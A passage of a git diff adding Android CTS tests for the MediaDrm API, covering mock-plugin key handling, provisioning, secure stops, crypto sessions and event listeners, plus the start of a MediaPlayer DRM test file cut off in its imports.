+        assertEquals(request.getRequestType(), MediaDrm.KeyRequest.REQUEST_TYPE_RELEASE);
+
+        assertTrue(mimeType.equals(md.getPropertyString("mock-mimetype")));
+        assertTrue(md.getPropertyString("mock-keytype").equals("2"));
+
+        md.closeSession(sessionId);
+    }
+
+    public void testProvideKeyResponse() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+        byte[] sessionId = openSession(md);
+
+        // Set up mock expected responses using properties
+        byte testResponse[] = {0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20};
+
+        md.provideKeyResponse(sessionId, testResponse);
+
+        assertTrue(Arrays.equals(testResponse, md.getPropertyByteArray("mock-response")));
+        md.closeSession(sessionId);
+    }
+
+    public void testRemoveKeys() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+        byte[] sessionId = openSession(md);
+
+        byte testResponse[] = {0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20};
+        byte[] keySetId = md.provideKeyResponse(sessionId, testResponse);
+        md.closeSession(sessionId);
+
+        md.removeKeys(keySetId);
+    }
+
+    public void testRestoreKeys() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+        byte[] sessionId = openSession(md);
+
+        byte testResponse[] = {0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20};
+        byte[] keySetId = md.provideKeyResponse(sessionId, testResponse);
+        md.closeSession(sessionId);
+
+        sessionId = openSession(md);
+        md.restoreKeys(sessionId, keySetId);
+        md.closeSession(sessionId);
+    }
+
+    public void testQueryKeyStatus() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+        byte[] sessionId = openSession(md);
+        HashMap<String, String> infoMap = md.queryKeyStatus(sessionId);
+
+        // these are canned strings returned by the mock
+        assertTrue(infoMap.containsKey("purchaseDuration"));
+        assertTrue(infoMap.get("purchaseDuration").equals(("1000")));
+        assertTrue(infoMap.containsKey("licenseDuration"));
+        assertTrue(infoMap.get("licenseDuration").equals(("100")));
+
+        md.closeSession(sessionId);
+    }
+
+    public void testGetProvisionRequest() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+
+        // Set up mock expected responses using properties
+        byte testRequest[] = {0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x60, 0x61, 0x62};
+        md.setPropertyByteArray("mock-request", testRequest);
+        String testDefaultUrl = "http://1.2.3.4:8080/bar";
+        md.setPropertyString("mock-defaultUrl", testDefaultUrl);
+
+        ProvisionRequest request = md.getProvisionRequest();
+        assertTrue(Arrays.equals(request.getData(), testRequest));
+        assertTrue(request.getDefaultUrl().equals(testDefaultUrl));
+    }
+
+    public void testProvideProvisionResponse() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+
+        // Set up mock expected responses using properties
+        byte testResponse[] = {0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20};
+
+        md.provideProvisionResponse(testResponse);
+        assertTrue(Arrays.equals(testResponse, md.getPropertyByteArray("mock-response")));
+    }
+
+    public void testGetSecureStops() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+
+        // Set up mock expected responses using properties
+        byte ss1[] = {0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20};
+        byte ss2[] = {0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f, 0x30};
+
+        md.setPropertyByteArray("mock-secure-stop1", ss1);
+        md.setPropertyByteArray("mock-secure-stop2", ss2);
+
+        List<byte[]> secureStopList = md.getSecureStops();
+        assertTrue(secureStopList != null);
+
+        Iterator<byte[]> iter = secureStopList.iterator();
+        assertTrue(iter.hasNext());
+        assertTrue(Arrays.equals(iter.next(), ss1));
+        assertTrue(iter.hasNext());
+        assertTrue(Arrays.equals(iter.next(), ss2));
+        assertFalse(iter.hasNext());
+    }
+
+    public void testReleaseSecureStops() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+
+        // Set up mock expected responses using properties
+        byte ssrelease[] = {0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f, 0x40};
+
+        md.releaseSecureStops(ssrelease);
+        assertTrue(Arrays.equals(ssrelease, md.getPropertyByteArray("mock-ssrelease")));
+    }
+
+    public void testMultipleSessions() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+
+        byte[] session1 = openSession(md);
+        byte[] session2 = openSession(md);
+        byte[] session3 = openSession(md);
+
+        assertFalse(Arrays.equals(session1, session2));
+        assertFalse(Arrays.equals(session2, session3));
+
+        md.closeSession(session1);
+        md.closeSession(session2);
+        md.closeSession(session3);
+    }
+
+    public void testCryptoSession() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+
+        byte[] sessionId = openSession(md);
+        CryptoSession cs = md.getCryptoSession(sessionId, "AES/CBC/NoPadding", "HmacSHA256");
+        assertFalse(cs == null);
+    }
+
+    public void testBadCryptoSession() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+
+        boolean gotException = false;
+        try {
+            byte[] sessionId = openSession(md);
+            CryptoSession cs = md.getCryptoSession(sessionId, "bad", "bad");
+        } catch (IllegalArgumentException e) {
+            gotException = true;
+        }
+        assertTrue(gotException);
+    }
+
+    public void testCryptoSessionEncrypt() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+
+        byte[] sessionId = openSession(md);
+        CryptoSession cs = md.getCryptoSession(sessionId, "AES/CBC/NoPadding", "HmacSHA256");
+        assertFalse(cs == null);
+
+        byte[] keyId = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09};
+        byte[] input = {0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19};
+        byte[] iv = {0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29};
+        byte[] expected_output = {0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39};
+
+        md.setPropertyByteArray("mock-output", expected_output);
+
+        byte[] output = cs.encrypt(keyId, input, iv);
+
+        assertTrue(Arrays.equals(keyId, md.getPropertyByteArray("mock-keyid")));
+        assertTrue(Arrays.equals(input, md.getPropertyByteArray("mock-input")));
+        assertTrue(Arrays.equals(iv, md.getPropertyByteArray("mock-iv")));
+        assertTrue(Arrays.equals(output, expected_output));
+    }
+
+    public void testCryptoSessionDecrypt() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+
+        byte[] sessionId = openSession(md);
+        CryptoSession cs = md.getCryptoSession(sessionId, "AES/CBC/NoPadding", "HmacSHA256");
+        assertFalse(cs == null);
+
+        byte[] keyId = {0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49};
+        byte[] input = {0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59};
+        byte[] iv = {0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69};
+        byte[] expected_output = {0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79};
+
+        md.setPropertyByteArray("mock-output", expected_output);
+
+        byte[] output = cs.decrypt(keyId, input, iv);
+
+        assertTrue(Arrays.equals(keyId, md.getPropertyByteArray("mock-keyid")));
+        assertTrue(Arrays.equals(input, md.getPropertyByteArray("mock-input")));
+        assertTrue(Arrays.equals(iv, md.getPropertyByteArray("mock-iv")));
+        assertTrue(Arrays.equals(output, expected_output));
+    }
+
+    public void testCryptoSessionSign() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+
+        byte[] sessionId = openSession(md);
+        CryptoSession cs = md.getCryptoSession(sessionId, "AES/CBC/NoPadding", "HmacSHA256");
+        assertFalse(cs == null);
+
+        byte[] keyId = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09};
+        byte[] message = {0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29};
+        byte[] expected_signature = {0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39};
+
+        md.setPropertyByteArray("mock-signature", expected_signature);
+
+        byte[] signature = cs.sign(keyId, message);
+
+        assertTrue(Arrays.equals(keyId, md.getPropertyByteArray("mock-keyid")));
+        assertTrue(Arrays.equals(message, md.getPropertyByteArray("mock-message")));
+        assertTrue(Arrays.equals(signature, expected_signature));
+    }
+
+    public void testCryptoSessionVerify() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        MediaDrm md = new MediaDrm(mockScheme);
+
+        byte[] sessionId = openSession(md);
+        CryptoSession cs = md.getCryptoSession(sessionId, "AES/CBC/NoPadding", "HmacSHA256");
+        assertFalse(cs == null);
+
+        byte[] keyId = {0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49};
+        byte[] message = {0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59};
+        byte[] signature = {0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69};
+
+        md.setPropertyString("mock-match", "1");
+        assertTrue(cs.verify(keyId, message, signature));
+
+        assertTrue(Arrays.equals(keyId, md.getPropertyByteArray("mock-keyid")));
+        assertTrue(Arrays.equals(message, md.getPropertyByteArray("mock-message")));
+        assertTrue(Arrays.equals(signature, md.getPropertyByteArray("mock-signature")));
+
+        md.setPropertyString("mock-match", "0");
+        assertFalse(cs.verify(keyId, message, signature));
+    }
+
+    private MediaDrm mMediaDrm = null;
+    private Looper mLooper = null;
+    private Object mLock = new Object();
+    private boolean mGotEvent = false;
+
+    private int mExpectedEvent;
+    private byte[] mExpectedSessionId;
+    private byte[] mExpectedData;
+
+    private ThreadPoolExecutor mExecutor;
+
+    @Override
+    public void onEvent(MediaDrm md, byte[] sessionId, int event,
+                        int extra, byte[] data) {
+        synchronized(mLock) {
+            Log.d(TAG,"testEventNoSessionNoData.onEvent");
+            assertTrue(md == mMediaDrm);
+            assertTrue(event == mExpectedEvent);
+            assertTrue(Arrays.equals(sessionId, mExpectedSessionId));
+            assertTrue(Arrays.equals(data, mExpectedData));
+            mGotEvent = true;
+            mLock.notify();
+        }
+    }
+
+    public void testEventNoSessionNoDataWithExecutor() throws Exception {
+        mExecutor = new ScheduledThreadPoolExecutor(1);
+        testEventNoSessionNoData();
+    }
+
+    public void testEventNoSessionNoData() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+        mExpectedEvent = 2;
+
+        new Thread() {
+            @Override
+            public void run() {
+                // Set up a looper to be used by mMediaPlayer.
+                Looper.prepare();
+
+                // Save the looper so that we can terminate this thread
+                // after we are done with it.
+                mLooper = Looper.myLooper();
+
+                try {
+                    mMediaDrm = new MediaDrm(mockScheme);
+                } catch (MediaDrmException e) {
+                    e.printStackTrace();
+                    fail();
+                }
+
+                synchronized(mLock) {
+                    mLock.notify();
+                    if (mExecutor != null) {
+                        mMediaDrm.setOnEventListener(mExecutor, MediaDrmMockTest.this);
+                    } else {
+                        mMediaDrm.setOnEventListener(MediaDrmMockTest.this);
+                    }
+                }
+
+                Looper.loop();  // Blocks forever until Looper.quit() is called.
+            }
+        }.start();
+
+        // wait for mMediaDrm to be created
+        synchronized(mLock) {
+            try {
+                mLock.wait(1000);
+            } catch (Exception e) {
+            }
+        }
+        assertTrue(mMediaDrm != null);
+
+        mGotEvent = false;
+        mMediaDrm.setPropertyString("mock-send-event", "2 456");
+
+        synchronized(mLock) {
+            try {
+                mLock.wait(1000);
+            } catch (Exception e) {
+            }
+        }
+
+        mLooper.quit();
+        assertTrue(mGotEvent);
+        shutdownExecutor();
+    }
+
+    public void testEventWithSessionAndDataWithExecutor() throws Exception {
+        mExecutor = new ScheduledThreadPoolExecutor(1);
+        testEventWithSessionAndData();
+    }
+
+    public void testEventWithSessionAndData() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+
+        new Thread() {
+            @Override
+            public void run() {
+                // Set up a looper to be used by mMediaPlayer.
+                Looper.prepare();
+
+                // Save the looper so that we can terminate this thread
+                // after we are done with it.
+                mLooper = Looper.myLooper();
+
+                try {
+                    mMediaDrm = new MediaDrm(mockScheme);
+                } catch (MediaDrmException e) {
+                    e.printStackTrace();
+                    fail();
+                }
+
+
+                mExpectedEvent = 1;
+                mExpectedSessionId = openSession(mMediaDrm);
+                mExpectedData = new byte[] {0x10, 0x11, 0x12, 0x13, 0x14,
+                                              0x15, 0x16, 0x17, 0x18, 0x19};
+
+                mMediaDrm.setPropertyByteArray("mock-event-session-id", mExpectedSessionId);
+                mMediaDrm.setPropertyByteArray("mock-event-data", mExpectedData);
+
+                synchronized(mLock) {
+                    mLock.notify();
+                    if (mExecutor != null) {
+                        mMediaDrm.setOnEventListener(mExecutor, MediaDrmMockTest.this);
+                    } else {
+                        mMediaDrm.setOnEventListener(MediaDrmMockTest.this);
+                    }
+                }
+                Looper.loop();  // Blocks forever until Looper.quit() is called.
+            }
+        }.start();
+
+        // wait for mMediaDrm to be created
+        synchronized(mLock) {
+            try {
+                mLock.wait(1000);
+            } catch (Exception e) {
+            }
+        }
+        assertTrue(mMediaDrm != null);
+
+        mGotEvent = false;
+        mMediaDrm.setPropertyString("mock-send-event", "1 123");
+
+        synchronized(mLock) {
+            try {
+                mLock.wait(1000);
+            } catch (Exception e) {
+            }
+        }
+
+        mLooper.quit();
+        assertTrue(mGotEvent);
+        shutdownExecutor();
+    }
+
+    @Override
+    public void onExpirationUpdate(MediaDrm md, byte[] sessionId,
+            long expiryTimeMS) {
+        synchronized(mLock) {
+            Log.d(TAG,"testExpirationUpdate.onExpirationUpdate");
+            assertTrue(md == mMediaDrm);
+            assertTrue(Arrays.equals(sessionId, mExpectedSessionId));
+            assertTrue(expiryTimeMS == 123456789012345L);
+            mGotEvent = true;
+            mLock.notify();
+        }
+    }
+
+    public void testExpirationUpdateWithExecutor() throws Exception {
+        mExecutor = new ScheduledThreadPoolExecutor(1);
+        testExpirationUpdate();
+    }
+
+    public void testExpirationUpdate() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+
+        new Thread() {
+            @Override
+            public void run() {
+                // Set up a looper to be used by mMediaPlayer.
+                Looper.prepare();
+
+                // Save the looper so that we can terminate this thread
+                // after we are done with it.
+                mLooper = Looper.myLooper();
+
+                try {
+                    mMediaDrm = new MediaDrm(mockScheme);
+                } catch (MediaDrmException e) {
+                    e.printStackTrace();
+                    fail();
+                }
+
+
+                mExpectedSessionId = openSession(mMediaDrm);
+
+                mMediaDrm.setPropertyByteArray("mock-event-session-id", mExpectedSessionId);
+
+                synchronized(mLock) {
+                    mLock.notify();
+                    if (mExecutor != null) {
+                        mMediaDrm.setOnExpirationUpdateListener(mExecutor, MediaDrmMockTest.this);
+                    } else {
+                        mMediaDrm.setOnExpirationUpdateListener(MediaDrmMockTest.this, null);
+                    }
+                }
+                Looper.loop();  // Blocks forever until Looper.quit() is called.
+            }
+        }.start();
+
+        // wait for mMediaDrm to be created
+        synchronized(mLock) {
+            try {
+                mLock.wait(1000);
+            } catch (Exception e) {
+            }
+        }
+        assertTrue(mMediaDrm != null);
+
+        mGotEvent = false;
+        mMediaDrm.setPropertyString("mock-send-expiration-update", "123456789012345");
+
+        synchronized(mLock) {
+            try {
+                mLock.wait(1000);
+            } catch (Exception e) {
+            }
+        }
+
+        mLooper.quit();
+        assertTrue(mGotEvent);
+        shutdownExecutor();
+    }
+
+    @Override
+    public void onKeyStatusChange(MediaDrm md, byte[] sessionId,
+            List<KeyStatus> keyInformation, boolean hasNewUsableKey) {
+        synchronized(mLock) {
+            Log.d(TAG,"testKeyStatusChange.onKeyStatusChange");
+            assertTrue(md == mMediaDrm);
+            assertTrue(Arrays.equals(sessionId, mExpectedSessionId));
+            try {
+                KeyStatus keyStatus = keyInformation.get(0);
+                assertTrue(Arrays.equals(keyStatus.getKeyId(), "key1".getBytes()));
+                assertTrue(keyStatus.getStatusCode() == MediaDrm.KeyStatus.STATUS_USABLE);
+                keyStatus = keyInformation.get(1);
+                assertTrue(Arrays.equals(keyStatus.getKeyId(), "key2".getBytes()));
+                assertTrue(keyStatus.getStatusCode() == MediaDrm.KeyStatus.STATUS_EXPIRED);
+                keyStatus = keyInformation.get(2);
+                assertTrue(Arrays.equals(keyStatus.getKeyId(), "key3".getBytes()));
+                assertTrue(keyStatus.getStatusCode() == MediaDrm.KeyStatus.STATUS_OUTPUT_NOT_ALLOWED);
+                keyStatus = keyInformation.get(3);
+                assertTrue(Arrays.equals(keyStatus.getKeyId(), "key4".getBytes()));
+                assertTrue(keyStatus.getStatusCode() == MediaDrm.KeyStatus.STATUS_PENDING);
+                keyStatus = keyInformation.get(4);
+                assertTrue(Arrays.equals(keyStatus.getKeyId(), "key5".getBytes()));
+                assertTrue(keyStatus.getStatusCode() == MediaDrm.KeyStatus.STATUS_INTERNAL_ERROR);
+                assertTrue(hasNewUsableKey);
+                mGotEvent = true;
+            } catch (IndexOutOfBoundsException e) {
+            }
+            mLock.notify();
+        }
+    }
+
+    public void testKeyStatusChangeWithExecutor() throws Exception {
+        mExecutor = new ScheduledThreadPoolExecutor(1);
+        testKeyStatusChange();
+    }
+
+    public void testKeyStatusChange() throws Exception {
+        if (!isMockPluginInstalled()) {
+            return;
+        }
+
+
+        new Thread() {
+            @Override
+            public void run() {
+                // Set up a looper to be used by mMediaPlayer.
+                Looper.prepare();
+
+                // Save the looper so that we can terminate this thread
+                // after we are done with it.
+                mLooper = Looper.myLooper();
+
+                try {
+                    mMediaDrm = new MediaDrm(mockScheme);
+                } catch (MediaDrmException e) {
+                    e.printStackTrace();
+                    fail();
+                }
+
+
+                mExpectedSessionId = openSession(mMediaDrm);
+
+                mMediaDrm.setPropertyByteArray("mock-event-session-id", mExpectedSessionId);
+
+                synchronized(mLock) {
+                    mLock.notify();
+                    if (mExecutor != null) {
+                        mMediaDrm.setOnKeyStatusChangeListener(mExecutor, MediaDrmMockTest.this);
+                    } else {
+                        mMediaDrm.setOnKeyStatusChangeListener(MediaDrmMockTest.this, null);
+                    }
+                }
+                Looper.loop();  // Blocks forever until Looper.quit() is called.
+            }
+        }.start();
+
+        // wait for mMediaDrm to be created
+        synchronized(mLock) {
+            try {
+                mLock.wait(1000);
+            } catch (Exception e) {
+            }
+        }
+        assertTrue(mMediaDrm != null);
+
+        mGotEvent = false;
+        mMediaDrm.setPropertyString("mock-send-keys-change", "123456789012345");
+
+        synchronized(mLock) {
+            try {
+                mLock.wait(1000);
+            } catch (Exception e) {
+            }
+        }
+
+        mLooper.quit();
+        assertTrue(mGotEvent);
+        shutdownExecutor();
+    }
+
+    @Override
+    public void onSessionLostState(MediaDrm md, byte[] sessionId) {
+        assertTrue(md == mMediaDrm);
+        assertTrue(Arrays.equals(sessionId, mExpectedSessionId));
+        mGotEvent = true;
+        synchronized (mLock) {
+            mLock.notify();
+        }
+    }
+
+    public void testSessionLostStateWithExecutor() throws Exception {
+        mExecutor = new ScheduledThreadPoolExecutor(1);
+        testSessionLostState();
+    }
+
+    public void testSessionLostState() throws Exception {
+        if (!MediaDrm.isCryptoSchemeSupported(clearkeyScheme)) {
+            return;
+        }
+
+        try {
+            mMediaDrm = new MediaDrm(clearkeyScheme);
+        } catch (MediaDrmException e) {
+            e.printStackTrace();
+            fail();
+        }
+
+        mMediaDrm.setPropertyString("drmErrorTest", "lostState");
+        if (mExecutor != null) {
+            mMediaDrm.setOnSessionLostStateListener(mExecutor, this);
+        } else {
+            mMediaDrm.setOnSessionLostStateListener(this, null);
+        }
+
+        mGotEvent = false;
+        mExpectedSessionId = openSession(mMediaDrm);
+        try {
+            mMediaDrm.closeSession(mExpectedSessionId);
+        } catch (Exception err) {
+            // expected
+        }
+
+        synchronized(mLock) {
+            try {
+                mLock.wait(1000);
+            } catch (Exception e) {
+            }
+        }
+
+        assertTrue(mGotEvent);
+        shutdownExecutor();
+    }
+
+    private byte[] openSession(MediaDrm md) {
+        byte[] sessionId = null;
+        try {
+            sessionId = md.openSession();
+        } catch (NotProvisionedException e) {
+            // ignore, not thrown by mock
+        } catch (ResourceBusyException e) {
+            // ignore, not thrown by mock
+        }
+        return sessionId;
+    }
+
+    private void shutdownExecutor() {
+        if (mExecutor != null) {
+            mExecutor.shutdown();
+            try {
+                if (!mExecutor.awaitTermination(1, TimeUnit.SECONDS)) {
+                    fail("timed out waiting for executor");
+                }
+            } catch (InterruptedException e) {
+                fail("interrupted waiting for executor");
+            }
+            if (mExecutor.getTaskCount() == 0) {
+                fail("no tasks submitted");
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmTest.java b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmTest.java
new file mode 100644
index 0000000..1bb5646
--- /dev/null
+++ b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmTest.java
@@ -0,0 +1,200 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.drmframework.cts;
+
+import android.media.MediaCrypto;
+import android.media.MediaCryptoException;
+import android.media.MediaDrm;
+import android.media.NotProvisionedException;
+import android.media.ResourceBusyException;
+import android.media.UnsupportedSchemeException;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.metrics.LogSessionId;
+import android.media.metrics.MediaMetricsManager;
+import android.media.metrics.PlaybackSession;
+import android.os.PersistableBundle;
+import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import java.util.List;
+import java.util.UUID;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static junit.framework.Assert.assertTrue;
+
+import static org.testng.Assert.assertEquals;
+import static org.testng.Assert.assertThrows;
+
+@NonMediaMainlineTest
+@RunWith(AndroidJUnit4.class)
+public class MediaDrmTest {
+
+    private final String TAG = this.getClass().getName();
+
+    private void testSingleScheme(UUID scheme) throws Exception {
+        MediaDrm md = new MediaDrm(scheme);
+        assertTrue(md.getOpenSessionCount() <= md.getMaxSessionCount());
+        assertThrows(() -> {
+            md.closeSession(null);
+        });
+        md.close();
+    }
+
+    @Test
+    public void testSupportedCryptoSchemes() throws Exception {
+        List<UUID> supportedCryptoSchemes = MediaDrm.getSupportedCryptoSchemes();
+        if (supportedCryptoSchemes.isEmpty()) {
+            Log.w(TAG, "No supported crypto schemes reported");
+        }
+        for (UUID scheme : supportedCryptoSchemes) {
+            Log.d(TAG, "supported scheme: " + scheme.toString());
+            assertTrue(MediaDrm.isCryptoSchemeSupported(scheme));
+            testSingleScheme(scheme);
+        }
+    }
+
+    @Test
+    public void testGetLogMessages() throws Exception {
+        List<UUID> supportedCryptoSchemes = MediaDrm.getSupportedCryptoSchemes();
+        for (UUID scheme : supportedCryptoSchemes) {
+            MediaDrm drm = new MediaDrm(scheme);
+            try {
+                byte[] sid = drm.openSession();
+                drm.closeSession(sid);
+            } catch (NotProvisionedException e) {
+                Log.w(TAG, scheme.toString() + ": not provisioned", e);
+            }
+
+            List<MediaDrm.LogMessage> logMessages;
+            try {
+                logMessages = drm.getLogMessages();
+                Assert.assertFalse("Empty logs", logMessages.isEmpty());
+                for (MediaDrm.LogMessage log : logMessages) {
+                    Assert.assertFalse("Empty log: " + log.toString(), log.getMessage().isEmpty());
+                }
+            } catch (UnsupportedOperationException e) {
+                Log.w(TAG, scheme.toString() + ": no LogMessage support", e);
+                continue;
+            }
+
+            long end = System.currentTimeMillis();
+            for (MediaDrm.LogMessage log: logMessages) {
+                Assert.assertTrue("Log occurred in future",
+                        log.getTimestampMillis() <= end);
+                Assert.assertTrue("Invalid log priority",
+                        log.getPriority() >= Log.VERBOSE &&
+                                log.getPriority() <= Log.ASSERT);
+                Log.i(TAG, log.toString());
+            }
+        }
+    }
+
+    private static boolean searchMetricsForValue(PersistableBundle haystack, Object needle) {
+        for (String key : haystack.keySet()) {
+            Object obj = haystack.get(key);
+            if (obj.equals(needle)) {
+                return true;
+            }
+            if (obj instanceof PersistableBundle) {
+                PersistableBundle haystack2 = (PersistableBundle) obj;
+                if (searchMetricsForValue(haystack2, needle)) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    @Test
+    public void testPlaybackComponent() throws UnsupportedSchemeException {
+        for (UUID scheme : MediaDrm.getSupportedCryptoSchemes()) {
+            MediaDrm drm = new MediaDrm(scheme);
+            byte[] sid = null;
+            try {
+                drm = new MediaDrm(scheme);
+                sid = drm.openSession();
+                Assert.assertNotNull("null session id", sid);
+                MediaDrm.PlaybackComponent component = drm.getPlaybackComponent(sid);
+                Assert.assertNotNull("null PlaybackComponent", component);
+
+                final MediaMetricsManager mediaMetricsManager =
+                        InstrumentationRegistry.getTargetContext()
+                                .getSystemService(MediaMetricsManager.class);
+                final PlaybackSession playbackSession =
+                        mediaMetricsManager.createPlaybackSession();
+                final LogSessionId logSessionId = playbackSession.getSessionId();
+                component.setLogSessionId(logSessionId);
+                assertEquals(logSessionId, component.getLogSessionId(),
+                        "LogSessionId not set");
+                PersistableBundle metrics = drm.getMetrics();
+                assertTrue("LogSessionId not found in metrics",
+                        searchMetricsForValue(metrics, logSessionId.getStringId()));
+            } catch (UnsupportedOperationException | NotProvisionedException e) {
+                Log.w(TAG, "testPlaybackComponent: skipping scheme " + scheme, e);
+            } catch (ResourceBusyException e) {
+                // todo: retry
+            } finally {
+                drm.close();
+            }
+        }
+    }
+
+    private void testRequiresSecureDecoder(UUID scheme, MediaDrm drm)
+            throws ResourceBusyException, NotProvisionedException,
+            MediaCryptoException {
+        int[] levels = {
+                MediaDrm.SECURITY_LEVEL_SW_SECURE_CRYPTO,
+                MediaDrm.SECURITY_LEVEL_HW_SECURE_ALL,
+                MediaDrm.getMaxSecurityLevel()};
+        for (int level : levels) {
+            for (String mime : new String[]{"audio/mp4", "video/mp4"}) {
+                if (!MediaDrm.isCryptoSchemeSupported(scheme, mime, level)) {
+                    continue;
+                }
+                byte[] sid = drm.openSession(level);
+                MediaCrypto crypto = new MediaCrypto(scheme, sid);
+                boolean supported1 = crypto.requiresSecureDecoderComponent(mime);
+                boolean supported2;
+                if (level == MediaDrm.getMaxSecurityLevel()) {
+                    supported2 = drm.requiresSecureDecoder(mime);
+                } else {
+                    supported2 = drm.requiresSecureDecoder(mime, level);
+                }
+                assertEquals(supported1, supported2, "secure decoder requirements inconsistent");
+            }
+        }
+    }
+
+    @Test
+    public void testRequiresSecureDecoder()
+            throws MediaCryptoException, UnsupportedSchemeException, ResourceBusyException {
+        for (UUID scheme: MediaDrm.getSupportedCryptoSchemes()) {
+            MediaDrm drm = new MediaDrm(scheme);
+            try {
+                testRequiresSecureDecoder(scheme, drm);
+            } catch (UnsupportedOperationException | NotProvisionedException e) {
+                Log.w(TAG, "testRequiresSecureDecoder: skipping scheme " + scheme, e);
+            } finally {
+                drm.close();
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaPlayerDrmTest.java b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaPlayerDrmTest.java
new file mode 100644
index 0000000..944595a
--- /dev/null
+++ b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaPlayerDrmTest.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.drmframework.cts;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.res.AssetFileDescriptor;
+import android.graphics.Rect;
+import android.hardware.Camera;
+import android.media.AudioManager;
+import android.media.MediaCodec;
+import android.media.MediaDataSource;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.MediaMetadataRetriever;
+import android.media.MediaPlayer;
+import android.media.MediaPlayer.OnErrorListener;
+import android.media.MediaRecorder;
+import android.media.MediaTimestamp;
+import android.media.PlaybackParams;
+import android.media.SubtitleData;
+import android.media.SyncParams;
+import android.media.TimedText;
+import android.media.audiofx.AudioEffect;
